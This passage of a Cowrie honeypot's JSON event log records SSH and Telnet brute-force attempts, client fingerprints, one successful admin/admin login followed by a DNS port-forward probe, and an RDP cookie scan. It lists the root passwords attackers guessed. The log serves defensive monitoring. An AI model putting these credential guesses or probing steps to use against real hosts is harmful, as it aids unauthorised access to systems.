{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:40.801131Z","src_ip":"62.133.63.178","session":"067f3c1412b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:41.923232Z","src_ip":"62.133.63.178","session":"067f3c1412b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:43.050745Z","src_ip":"62.133.63.178","session":"067f3c1412b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.31219506263733,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:27:13.435957Z","src_ip":"152.42.224.71","session":"211db7d9a600","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00403237342834,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:27:23.923910Z","src_ip":"152.42.224.71","session":"c5d090e8b525","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":59170,"dst_ip":"10.17.0.5","dst_port":22,"session":"af9cb79d01e1","protocol":"ssh","message":"New connection: 89.108.118.91:59170 (10.17.0.5:22) [session: af9cb79d01e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:27:30.699703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:27:30.705240Z","src_ip":"89.108.118.91","session":"af9cb79d01e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:27:30.847378Z","src_ip":"89.108.118.91","session":"af9cb79d01e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"makarova","message":"login attempt [root/makarova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:27:31.272798Z","src_ip":"89.108.118.91","session":"af9cb79d01e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:27:32.508857Z","src_ip":"89.108.118.91","session":"af9cb79d01e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37402,"dst_ip":"10.17.0.5","dst_port":23,"session":"7434523a457d","protocol":"telnet","message":"New connection: 152.42.224.71:37402 (10.17.0.5:23) [session: 7434523a457d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:27:50.548090Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":47036,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba3bf03a51d0","protocol":"ssh","message":"New connection: 87.251.79.125:47036 (159.203.135.109:22) [session: ba3bf03a51d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:08.038605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:08.044524Z","src_ip":"87.251.79.125","session":"ba3bf03a51d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:08.117342Z","src_ip":"87.251.79.125","session":"ba3bf03a51d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3343shuovo","message":"login attempt [root/3343shuovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:08.331477Z","src_ip":"87.251.79.125","session":"ba3bf03a51d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:09.407834Z","src_ip":"87.251.79.125","session":"ba3bf03a51d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":54542,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f6e9f0fb9aa","protocol":"ssh","message":"New connection: 103.75.182.198:54542 (10.17.0.5:22) [session: 3f6e9f0fb9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:18.358535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:18.364900Z","src_ip":"103.75.182.198","session":"3f6e9f0fb9aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:18.614372Z","src_ip":"103.75.182.198","session":"3f6e9f0fb9aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"werty","message":"login attempt [root/werty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:19.376492Z","src_ip":"103.75.182.198","session":"3f6e9f0fb9aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:20.628738Z","src_ip":"103.75.182.198","session":"3f6e9f0fb9aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35458,"dst_ip":"10.17.0.5","dst_port":22,"session":"920a467f1d9f","protocol":"ssh","message":"New connection: 87.251.64.176:35458 (10.17.0.5:22) [session: 920a467f1d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:23.243309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:23.248269Z","src_ip":"87.251.64.176","session":"920a467f1d9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:23.345995Z","src_ip":"87.251.64.176","session":"920a467f1d9f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:23.643034Z","src_ip":"87.251.64.176","session":"920a467f1d9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:23.742672Z","session":"920a467f1d9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:23.842411Z","src_ip":"87.251.64.176","session":"920a467f1d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:23.942677Z","src_ip":"87.251.64.176","session":"920a467f1d9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":15909,"dst_ip":"159.203.135.109","dst_port":22,"session":"09d6aebee6e8","protocol":"ssh","message":"New connection: 79.127.181.44:15909 (159.203.135.109:22) [session: 09d6aebee6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:38.086042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:38.292783Z","src_ip":"79.127.181.44","session":"09d6aebee6e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:38.494199Z","src_ip":"79.127.181.44","session":"09d6aebee6e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:38.500185Z","src_ip":"79.127.181.44","session":"09d6aebee6e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.16682291030884,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:28:38.714787Z","src_ip":"152.42.224.71","session":"7434523a457d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56733,"dst_ip":"159.203.135.109","dst_port":22,"session":"78b008dc6137","protocol":"ssh","message":"New connection: 152.42.212.128:56733 (159.203.135.109:22) [session: 78b008dc6137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:29:27.085994Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:29:27.090681Z","src_ip":"152.42.212.128","session":"78b008dc6137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:29:27.094368Z","src_ip":"152.42.212.128","session":"78b008dc6137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36772,"dst_ip":"10.17.0.5","dst_port":23,"session":"cab3b80a5144","protocol":"telnet","message":"New connection: 152.42.224.71:36772 (10.17.0.5:23) [session: cab3b80a5144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:29:35.920568Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":59588,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2a156050952","protocol":"ssh","message":"New connection: 103.183.114.55:59588 (10.17.0.5:22) [session: d2a156050952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:29:45.381376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:29:45.386466Z","src_ip":"103.183.114.55","session":"d2a156050952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:29:45.610053Z","src_ip":"103.183.114.55","session":"d2a156050952","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"66bob","message":"login attempt [root/66bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:29:46.414794Z","src_ip":"103.183.114.55","session":"d2a156050952","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:29:47.641554Z","src_ip":"103.183.114.55","session":"d2a156050952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34926,"dst_ip":"10.17.0.5","dst_port":23,"session":"94f1f1eaaa7a","protocol":"telnet","message":"New connection: 152.42.224.71:34926 (10.17.0.5:23) [session: 94f1f1eaaa7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:29:57.448025Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":57784,"dst_ip":"159.203.135.109","dst_port":22,"session":"263522bfce3f","protocol":"ssh","message":"New connection: 176.32.39.21:57784 (159.203.135.109:22) [session: 263522bfce3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:06.293888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:06.300075Z","src_ip":"176.32.39.21","session":"263522bfce3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 